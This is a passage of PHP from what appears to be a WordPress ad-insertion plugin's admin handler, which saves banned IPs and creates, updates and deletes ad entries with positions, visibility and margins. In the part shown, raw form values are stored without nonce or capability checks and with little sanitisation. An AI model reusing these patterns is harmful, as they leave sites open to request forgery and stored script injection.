$ads_int_banned_ips .= trim($ip) . '-';
}
$ads_int_banned_ips = substr($ads_int_banned_ips, 0, strlen($ads_int_banned_ips) - 1);
update_option('ads_int_banned_ips', $ads_int_banned_ips);
}
else
update_option('ads_int_banned_ips', '');
if(isset($_POST['banning-text']) && $_POST['banning-text'] != '')
{
update_option('ads_int_banned_text', $_POST['banning-text']);
}
else
update_option('ads_int_banned_text', '');
break;
case 'freq':
if (isset($_POST['freq']) && $_POST['freq'] != '')
{
if($_POST['freq'] == 'on')
update_option('ads_int_our_post_freq', USER_FREQUENCY);
}
else
update_option('ads_int_our_post_freq', OFF_FREQUENCY);
break;
case 'update':
$ads_int_announcement = get_option('ads_int_announcement');
$ads_int_ads = null;
if($_POST['update_id'] != '')
$ads_int_ads = $ads_int_announcement[$_POST['update_id']];
else
break;
if ($ads_int_ads == null) break;
//reset params for security issues
$ads_int_ads['position'] = array();
$ads_int_ads['visibility'] = array();
$ads_int_ads['margin'] = array();
//type
if($_POST['new_ads_type'] != '')
$ads_int_ads['type'] = $_POST['new_ads_type'];
//times
if($_POST['new_ads_rep'] != '')
$ads_int_ads['repetition'] = $_POST['new_ads_rep'];
//ads text
$ads_int_ads['content'] = stripslashes($_POST['new_ads_content']);
//first post only
if($_POST['ads_int_first_post'] == 'on')
$ads_int_ads['first_post'] = 1;
else
$ads_int_ads['first_post'] = 0;
//position
if($_POST['ads_int_pos_0'] == 'on')
array_push($ads_int_ads['position'], ADS_INT_POS_0);
if($_POST['ads_int_pos_1'] == 'on')
array_push($ads_int_ads['position'], ADS_INT_POS_1);
if($_POST['ads_int_pos_2'] == 'on')
array_push($ads_int_ads['position'], ADS_INT_POS_2);
if($_POST['ads_int_pos_3'] == 'on')
array_push($ads_int_ads['position'], ADS_INT_POS_3);
if($_POST['ads_int_pos_4'] == 'on')
array_push($ads_int_ads['position'], ADS_INT_POS_4);
if($_POST['ads_int_pos_6'] == 'on')
array_push($ads_int_ads['position'], ADS_INT_POS_6);
if($_POST['ads_int_pos_8'] == 'on')
array_push($ads_int_ads['position'], ADS_INT_POS_8);
if($_POST['ads_int_pos_10'] == 'on')
array_push($ads_int_ads['position'], ADS_INT_POS_10);
if($_POST['ads_int_pos_12'] == 'on')
array_push($ads_int_ads['position'], ADS_INT_POS_12);
//visibility
if($_POST['ads_int_vis_home'] == 'on')
array_push($ads_int_ads['visibility'], ADS_INT_VIS_HOME);
if($_POST['ads_int_vis_post'] == 'on')
array_push($ads_int_ads['visibility'], ADS_INT_VIS_POST);
if($_POST['ads_int_vis_page'] == 'on')
array_push($ads_int_ads['visibility'], ADS_INT_VIS_PAGE);
if($_POST['ads_int_vis_cat'] == 'on')
array_push($ads_int_ads['visibility'], ADS_INT_VIS_CAT);
if($_POST['ads_int_vis_tag'] == 'on')
array_push($ads_int_ads['visibility'], ADS_INT_VIS_TAG);
if($_POST['ads_int_vis_arc'] == 'on')
array_push($ads_int_ads['visibility'], ADS_INT_VIS_ARC);
if($_POST['ads_int_vis_exc'] == 'on')
array_push($ads_int_ads['visibility'], ADS_INT_VIS_EXC);
//margin
if($_POST['ads_int_margin_um'] != '')
$ads_int_ads['margin_um'] = trim($_POST['ads_int_margin_um']);
else
$ads_int_ads['margin_um'] = 'px';
if($_POST['ads_int_margin_top'] != '')
$ads_int_ads['margin']['top'] = trim($_POST['ads_int_margin_top']);
else
$ads_int_ads['margin']['top'] = 0;
if($_POST['ads_int_margin_bottom'] != '')
$ads_int_ads['margin']['bottom'] = trim($_POST['ads_int_margin_bottom']);
else
$ads_int_ads['margin']['bottom'] = 0;
if($_POST['ads_int_margin_left'] != '')
$ads_int_ads['margin']['left'] = trim($_POST['ads_int_margin_left']);
else
$ads_int_ads['margin']['left'] = 0;
if($_POST['ads_int_margin_right'] != '')
$ads_int_ads['margin']['right'] = trim($_POST['ads_int_margin_right']);
else
$ads_int_ads['margin']['right'] = 0;
$ads_int_announcement[$_POST['update_id']] = $ads_int_ads;
update_option('ads_int_announcement', $ads_int_announcement);
break;
case 'delete':
$ads_int_announcement = get_option('ads_int_announcement');
if($_POST['delection_id'] != '')
unset($ads_int_announcement[$_POST['delection_id']]);
else
break;
update_option('ads_int_announcement', $ads_int_announcement);
break;
case 'save':
$ads_int_announcement = get_option('ads_int_announcement');
$new_entry = array();
$new_entry['position'] = array();
$new_entry['visibility'] = array();
$new_entry['margin'] = array();
//name
if($_POST['new_name'] != '')
{
//white spaces check
if(strstr($_POST['new_name'], " "))
{
if(!isset($ads_int_error)) $ads_int_error = new WP_Error();
$ads_int_error->add('ads_int_error', __('You cannot use white spaces in ads name', $ads_int_domain));
break;
}
//single name check
if(isset($ads_int_announcement) && count($ads_int_announcement) > 0)
{
$check_name = false;
if(is_array($ads_int_announcement))
{
foreach($ads_int_announcement as $ads_int_entry)
{
if($ads_int_entry['name'] == $_POST['new_name'])
{
if(!isset($ads_int_error)) $ads_int_error = new WP_Error();
$ads_int_error->add('ads_int_error', __('Ads name have to be unique', $ads_int_domain));
$check_name = true;
break;
}
}
}
if($check_name)
break;
}
$new_entry['name'] = $_POST['new_name'];
}
else
{
//name check
if(!isset($ads_int_error)) $ads_int_error = new WP_Error();
$ads_int_error->add('ads_int_error', __('You have to specify ads name', $ads_int_domain));
break;
}
//type
if($_POST['new_ads_type'] != '')
$new_entry['type'] = $_POST['new_ads_type'];
//times
if($_POST['new_ads_rep'] != '')
$new_entry['repetition'] = $_POST['new_ads_rep'];
//ads text
//if($_POST['new_ads_content'] != '')
$new_entry['content'] = stripslashes($_POST['new_ads_content']);
//first post only
if($_POST['ads_int_first_post'] == 'on')
$new_entry['first_post'] = 1;
else
$new_entry['first_post'] = 0;
//position
if($_POST['ads_int_pos_0'] == 'on')
array_push($new_entry['position'], ADS_INT_POS_0);
if($_POST['ads_int_pos_1'] == 'on')
array_push($new_entry['position'], ADS_INT_POS_1);
if($_POST['ads_int_pos_2'] == 'on')
array_push($new_entry['position'], ADS_INT_POS_2);
if($_POST['ads_int_pos_3'] == 'on')
array_push($new_entry['position'], ADS_INT_POS_3);
if($_POST['ads_int_pos_4'] == 'on')
array_push($new_entry['position'], ADS_INT_POS_4);
if($_POST['ads_int_pos_6'] == 'on')
array_push($new_entry['position'], ADS_INT_POS_6);
if($_POST['ads_int_pos_8'] == 'on')
array_push($new_entry['position'], ADS_INT_POS_8);
if($_POST['ads_int_pos_10'] == 'on')
array_push($new_entry['position'], ADS_INT_POS_10);
if($_POST['ads_int_pos_12'] == 'on')
array_push($new_entry['position'], ADS_INT_POS_12);
//visibility
if($_POST['ads_int_vis_home'] == 'on')
array_push($new_entry['visibility'], ADS_INT_VIS_HOME);
if($_POST['ads_int_vis_post'] == 'on')
array_push($new_entry['visibility'], ADS_INT_VIS_POST);
if($_POST['ads_int_vis_page'] == 'on')
array_push($new_entry['visibility'], ADS_INT_VIS_PAGE);
if($_POST['ads_int_vis_cat'] == 'on')
array_push($new_entry['visibility'], ADS_INT_VIS_CAT);
if($_POST['ads_int_vis_tag'] == 'on')
array_push($new_entry['visibility'], ADS_INT_VIS_TAG);
if($_POST['ads_int_vis_arc'] == 'on')
array_push($new_entry['visibility'], ADS_INT_VIS_ARC);
if($_POST['ads_int_vis_exc'] == 'on')
array_push($new_entry['visibility'], ADS_INT_VIS_EXC);
//margins
if($_POST['ads_int_margin_um'] != '')
$new_entry['margin_um'] = trim($_POST['ads_int_margin_um']);
else
$new_entry['margin_um'] = 'px';
if($_POST['ads_int_margin_top'] != '')
$new_entry['margin']['top'] = trim($_POST['ads_int_margin_top']);
else
$new_entry['margin']['top'] = 0;
if($_POST['ads_int_margin_bottom'] != '')
$new_entry['margin']['bottom'] = trim($_POST['ads_int_margin_bottom']);
else
$new_entry['margin']['bottom'] = 0;
if($_POST['ads_int_margin_left'] != '')
$new_entry['margin']['left'] = trim($_POST['ads_int_margin_left']);
else
$new_entry['margin']['left'] = 0;
if($_POST['ads_int_margin_right'] != '')
$new_entry['margin']['right'] = trim($_POST['ads_int_margin_right']);
else
$new_entry['margin']['right'] = 0;
if(!isset($ads_int_announcement) || !is_array($ads_int_announcement))
$ads_int_announcement = array();
array_push($ads_int_announcement, $new_entry);
update_option('ads_int_announcement', $ads_int_announcement);
break;
}
/**************************************************************************/
?>